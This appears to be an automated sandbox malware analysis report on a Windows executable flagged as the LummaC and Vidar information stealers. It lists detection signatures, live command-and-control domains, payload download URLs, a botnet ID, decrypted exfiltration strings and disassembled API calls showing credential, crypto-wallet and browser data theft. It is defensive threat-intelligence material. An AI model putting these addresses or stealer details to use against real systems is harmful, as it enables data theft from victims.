Windows Analysis Report
file.exe

Overview

General Information

Sample name: file.exe
Analysis ID: 1518570
MD5: 8b0b12811b60a92a72b636a46fadb0ba
SHA1: 0ab6b31b69b7964de2e9639169d036c68f9efd76
SHA256: 1174cade1bd7b389c084b340898d4afd84e1145d9294d8a550f3a532f09cda7c
Tags: exeuser-Bitsight
Infos:

Detection

LummaC, Vidar
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for URL or domain
Found malware configuration
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected AntiVM3
Yara detected LummaC Stealer
Yara detected Powershell download and execute
Yara detected Vidar
Yara detected Vidar stealer
.NET source code contains very large array initializations
AI detected suspicious sample
Allocates memory in foreign processes
C2 URLs / IPs found in malware configuration
Contains functionality to inject code into remote processes
Found many strings related to Crypto-Wallets (likely being stolen)
Injects a PE file into a foreign processes
LummaC encrypted strings found
Machine Learning detection for dropped file
Sample uses string decryption to hide its real strings
Searches for specific processes (likely to inject)
Sigma detected: New RUN Key Pointing to Suspicious Folder
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to harvest and steal Bitcoin Wallet information
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Crypto Currency Wallets
Writes to foreign memory regions
AV process strings found (often used to terminate AV products)
Abnormal high CPU Usage
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to detect sandboxes (mouse cursor move detection)
Contains functionality to dynamically determine API calls
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to record screenshots
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Detected potential crypto function
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
One or more processes crash
PE / OLE file has an invalid certificate
PE file contains an invalid checksum
PE file contains sections with non-standard names
PE file does not import any functions
PE file overlay found
Queries information about the installed CPU (vendor, model number etc)
Queries the volume information (name, serial number etc) of a device
Sample file is different than original file name gathered from version info
Shows file infection / information gathering behavior (enumerates multiple directory for files)
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Startup Folder File Write
Stores files to the Windows start menu directory
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses the keyboard layout for branch decision (may execute only for specific keyboard layouts)
Yara detected Credential Stealer

Classification

Name Description Attribution Blogpost URLs Link
Lumma Stealer, LummaC2 Stealer Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma
Name Description Attribution Blogpost URLs Link
Vidar Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

AV Detection
barindex
Antivirus detection for URL or domain
Source: https://steamcommunity.com/profiles/76561199724331900 URL Reputation: Label: malware
Source: https://steamcommunity.com/profiles/76561199724331900/inventory/ URL Reputation: Label: malware
Source: reinforcenh.shop Avira URL Cloud: Label: malware
Source: http://147.45.44.104/prog/66f4247d51812_lfdsjna.exem-data; Avira URL Cloud: Label: malware
Source: http://147.45.44.104/prog/66f424e80b9cc_idsmds.exe1kkkk1208948http://147.45.44.104/prog/66f4247d5181 Avira URL Cloud: Label: malware
Source: stogeneratmns.shop Avira URL Cloud: Label: malware
Source: http://147.45.44.104/prog/66f4247d51812_lfdsjna.exe Avira URL Cloud: Label: malware
Source: https://steamcommunity.com/profiles/76561199780418869/badges Avira URL Cloud: Label: malware
Source: https://reinforcenh.shop/api Avira URL Cloud: Label: malware
Source: ghostreedmnu.shop Avira URL Cloud: Label: malware
Source: https://t.me/ae5ed Avira URL Cloud: Label: malware
Source: https://performenj.shop/ Avira URL Cloud: Label: malware
Source: https://vozmeatillu.shop/api Avira URL Cloud: Label: malware
Source: fragnantbui.shop Avira URL Cloud: Label: malware
Source: offensivedzvju.shop Avira URL Cloud: Label: malware
Source: https://offensivedzvju.shop/api Avira URL Cloud: Label: malware
Source: drawzhotdog.shop Avira URL Cloud: Label: malware
Source: http://147.45.44.104/prog/66f424e80b9cc_idsmds.exe Avira URL Cloud: Label: malware
Source: vozmeatillu.shop Avira URL Cloud: Label: malware
Source: https://drawzhotdog.shop/api Avira URL Cloud: Label: malware
Found malware configuration
Source: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199780418869"], "Botnet": "9bf5e431869643a2ac397d2dc0d687fb"}
Source: 13.2.RegAsm.exe.400000.0.unpack Malware Configuration Extractor: LummaC {"C2 url": ["gutterydhowi.shop", "vozmeatillu.shop", "drawzhotdog.shop", "reinforcenh.shop", "ghostreedmnu.shop", "fragnantbui.shop", "offensivedzvju.shop", "stogeneratmns.shop"], "Build id": "H8NgCl--"}
Multi AV Scanner detection for dropped file
Source: C:\ProgramData\EBGDHJECFC.exe ReversingLabs: Detection: 34%
Source: C:\ProgramData\KKEBKJJDGH.exe ReversingLabs: Detection: 20%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\66f4247d51812_lfdsjna[1].exe ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\66f424e80b9cc_idsmds[1].exe ReversingLabs: Detection: 20%
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe ReversingLabs: Detection: 20%
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe ReversingLabs: Detection: 20%
Multi AV Scanner detection for submitted file
Source: file.exe ReversingLabs: Detection: 36%
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 99.9% probability
Machine Learning detection for dropped file
Source: C:\ProgramData\KKEBKJJDGH.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\66f424e80b9cc_idsmds[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Joe Sandbox ML: detected
Sample uses string decryption to hide its real strings
Source: 13.2.RegAsm.exe.400000.0.unpack String decryptor: reinforcenh.shop
Source: 13.2.RegAsm.exe.400000.0.unpack String decryptor: stogeneratmns.shop
Source: 13.2.RegAsm.exe.400000.0.unpack String decryptor: fragnantbui.shop
Source: 13.2.RegAsm.exe.400000.0.unpack String decryptor: drawzhotdog.shop
Source: 13.2.RegAsm.exe.400000.0.unpack String decryptor: vozmeatillu.shop
Source: 13.2.RegAsm.exe.400000.0.unpack String decryptor: offensivedzvju.shop
Source: 13.2.RegAsm.exe.400000.0.unpack String decryptor: ghostreedmnu.shop
Source: 13.2.RegAsm.exe.400000.0.unpack String decryptor: gutterydhowi.shop
Source: 13.2.RegAsm.exe.400000.0.unpack String decryptor: drawzhotdog.shop
Source: 13.2.RegAsm.exe.400000.0.unpack String decryptor: lid=%s&j=%s&ver=4.0
Source: 13.2.RegAsm.exe.400000.0.unpack String decryptor: TeslaBrowser/5.5
Source: 13.2.RegAsm.exe.400000.0.unpack String decryptor: - Screen Resoluton:
Source: 13.2.RegAsm.exe.400000.0.unpack String decryptor: - Physical Installed Memory:
Source: 13.2.RegAsm.exe.400000.0.unpack String decryptor: Workgroup: -
Source: 13.2.RegAsm.exe.400000.0.unpack String decryptor: H8NgCl--
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_004080A1 CryptUnprotectData,LocalAlloc,LocalFree, 3_2_004080A1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00408048 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree, 3_2_00408048
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00411E5D CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA, 3_2_00411E5D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040A7D8 _memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,_memmove,lstrcatA,PK11_FreeSlot,lstrcatA, 3_2_0040A7D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C156C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer, 3_2_6C156C80
Uses 32bit PE files
Source: file.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: unknown HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown HTTPS traffic detected: 5.75.211.162:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49738 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.58.182:443 -> 192.168.2.5:49746 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.132.32:443 -> 192.168.2.5:49747 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49748 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49749 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49750 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.58.182:443 -> 192.168.2.5:49751 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49752 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49754 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.77.130:443 -> 192.168.2.5:49756 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:49759 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.51.224:443 -> 192.168.2.5:49762 version: TLS 1.2
Source: file.exe Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: mozglue.pdbP source: RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3353640079.000000006C1BD000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.3.dr
Source: Binary string: nss3.pdb@ source: RegAsm.exe, 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.3.dr
Source: Binary string: System.ni.pdbRSDS source: WERCEBB.tmp.dmp.21.dr, WERA569.tmp.dmp.17.dr
Source: Binary string: System.pdbN|2h|2 Z|2_CorDllMainmscoree.dll source: MFDBG.exe, 0000000E.00000002.3362896545.0000000002431000.00000004.00000800.00020000.00000000.sdmp, MFDBG.exe, 00000013.00000002.3336239886.0000000002E61000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: softokn3.pdb@ source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr
Source: Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: RegAsm.exe, 00000003.00000002.3294744618.00000000388F7000.00000004.00000020.00020000.00000000.sdmp, vcruntime140.dll.3.dr
Source: Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: RegAsm.exe, 00000003.00000002.3264926366.000000002CA1E000.00000004.00000020.00020000.00000000.sdmp, msvcp140.dll.3.dr
Source: Binary string: mscorlib.ni.pdbRSDS source: WERCEBB.tmp.dmp.21.dr, WERA569.tmp.dmp.17.dr
Source: Binary string: mozglue.pdb source: RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3353640079.000000006C1BD000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.3.dr
Source: Binary string: \??\C:\Windows\System.pdb56 source: MFDBG.exe, 00000013.00000002.3310941819.0000000001317000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: rlib.pdb source: MFDBG.exe, 0000000E.00000002.3356106611.0000000000567000.00000004.00000020.00020000.00000000.sdmp, MFDBG.exe, 00000013.00000002.3310941819.0000000001358000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: MFDBG.exe, 00000013.00000002.3310941819.0000000001358000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\symbols\dll\System.Core.pdbm source: MFDBG.exe, 0000000E.00000002.3356106611.0000000000567000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: System.pdb source: MFDBG.exe, 0000000E.00000002.3362896545.0000000002431000.00000004.00000800.00020000.00000000.sdmp, MFDBG.exe, 00000013.00000002.3336239886.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, WERCEBB.tmp.dmp.21.dr, WERA569.tmp.dmp.17.dr
Source: Binary string: ws\mscorlib.pdb source: MFDBG.exe, 00000013.00000002.3225824440.0000000000DB8000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: tem.pdb source: MFDBG.exe, 0000000E.00000002.3356106611.0000000000567000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: System.Core.ni.pdb source: WERCEBB.tmp.dmp.21.dr, WERA569.tmp.dmp.17.dr
Source: Binary string: mscorlib.pdb source: MFDBG.exe, 0000000E.00000002.3362896545.0000000002431000.00000004.00000800.00020000.00000000.sdmp, MFDBG.exe, 00000013.00000002.3336239886.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, WERCEBB.tmp.dmp.21.dr, WERA569.tmp.dmp.17.dr
Source: Binary string: tem.Core.pdb source: MFDBG.exe, 0000000E.00000002.3356106611.0000000000567000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: ws\mscorlib.pdb<qhq source: MFDBG.exe, 0000000E.00000002.3356008529.00000000004F8000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: ZC:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbkm source: MFDBG.exe, 0000000E.00000002.3356106611.0000000000567000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: mscorlib.ni.pdb source: WERCEBB.tmp.dmp.21.dr, WERA569.tmp.dmp.17.dr
Source: Binary string: \??\C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.PDBxq source: MFDBG.exe, 0000000E.00000002.3356106611.0000000000567000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: System.Core.pdb source: MFDBG.exe, 0000000E.00000002.3362896545.0000000002431000.00000004.00000800.00020000.00000000.sdmp, MFDBG.exe, 00000013.00000002.3336239886.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, WERCEBB.tmp.dmp.21.dr, WERA569.tmp.dmp.17.dr
Source: Binary string: System.pdb4 source: WERCEBB.tmp.dmp.21.dr, WERA569.tmp.dmp.17.dr
Source: Binary string: nss3.pdb source: RegAsm.exe, 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.3.dr
Source: Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: RegAsm.exe, 00000003.00000002.3211109382.0000000020458000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3148077911.000000001A4E0000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: softokn3.pdb source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr
Source: Binary string: orlib.pdb source: MFDBG.exe, 00000013.00000002.3310941819.0000000001317000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: System.Core.pdbk source: MFDBG.exe, 0000000E.00000002.3362896545.0000000002431000.00000004.00000800.00020000.00000000.sdmp, MFDBG.exe, 00000013.00000002.3336239886.0000000002E61000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: 00000000000000000400000000000000e.pdb source: MFDBG.exe, 0000000E.00000002.3356106611.0000000000567000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: System.ni.pdb source: WERCEBB.tmp.dmp.21.dr, WERA569.tmp.dmp.17.dr
Source: Binary string: System.Core.ni.pdbRSDS source: WERCEBB.tmp.dmp.21.dr, WERA569.tmp.dmp.17.dr
Shows file infection / information gathering behavior (enumerates multiple directory for files)
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Directory queried: number of queries: 1001
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00415406 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose, 3_2_00415406
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00414C91 wsprintfA,FindFirstFileA,_memset,_memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,_memset,lstrcatA,strtok_s,strtok_s,_memset,lstrcatA,strtok_s,PathMatchSpecA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,strtok_s,strtok_s,FindNextFileA,FindClose, 3_2_00414C91
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00409D1C FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 3_2_00409D1C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040D5C6 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 3_2_0040D5C6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040B5DF FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose, 3_2_0040B5DF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00401D80 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,FindNextFileA,FindClose,FindNextFileA,FindClose, 3_2_00401D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040BF4D FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA, 3_2_0040BF4D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00415F9A wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose, 3_2_00415F9A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040B93F FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose, 3_2_0040B93F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00415AD4 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA, 3_2_00415AD4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040CD37 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,FindNextFileA,FindClose, 3_2_0040CD37
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0041510B GetLogicalDriveStringsA,_memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA, 3_2_0041510B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\ Jump to behavior
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr fs:[00000030h] 3_2_004014AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov dword ptr [ebp-04h], eax 3_2_004014AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esi+24h] 13_2_0040F870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esi+08h] 13_2_0040F870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [ebp-10h] 13_2_0040F870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [ebp-10h] 13_2_0040F870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esp+04h] 13_2_0040F870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [ebp-1Ch] 13_2_0040E9C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov dword ptr [esp], 00000000h 13_2_0041A040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then movzx ebx, byte ptr [edi+edx] 13_2_00401000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esp] 13_2_00443010
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, ebp 13_2_0040A0C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, ebp 13_2_0040A0C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov byte ptr [edx], cl 13_2_00431167
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esi+0Ch] 13_2_00431167
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esi+0Ch] 13_2_00431167
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov byte ptr [edi], al 13_2_00431167
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esi+44h] 13_2_0041D1CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then cmp dword ptr [ebx+edx*8], 54CA534Eh 13_2_004472C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esp+08h] 13_2_004153E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esp+08h] 13_2_004153E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then movzx ebx, byte ptr [edx] 13_2_0043A3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov byte ptr [edi], al 13_2_004313A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov byte ptr [edx], al 13_2_004313A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then cmp dword ptr [ebx+edx*8], 1B788DCFh 13_2_00443460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then jmp eax 13_2_0042D46E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esp+08h] 13_2_0041447C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then movzx ecx, word ptr [edi+eax] 13_2_004474C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then cmp word ptr [eax+esi+02h], 0000h 13_2_0042D4B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov ebx, dword ptr [edi+04h] 13_2_0042F530
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esp+00000874h] 13_2_00428581
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov word ptr [edx], ax 13_2_00428581
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then cmp dword ptr [esi+edx*8], 0633C81Dh 13_2_00444590
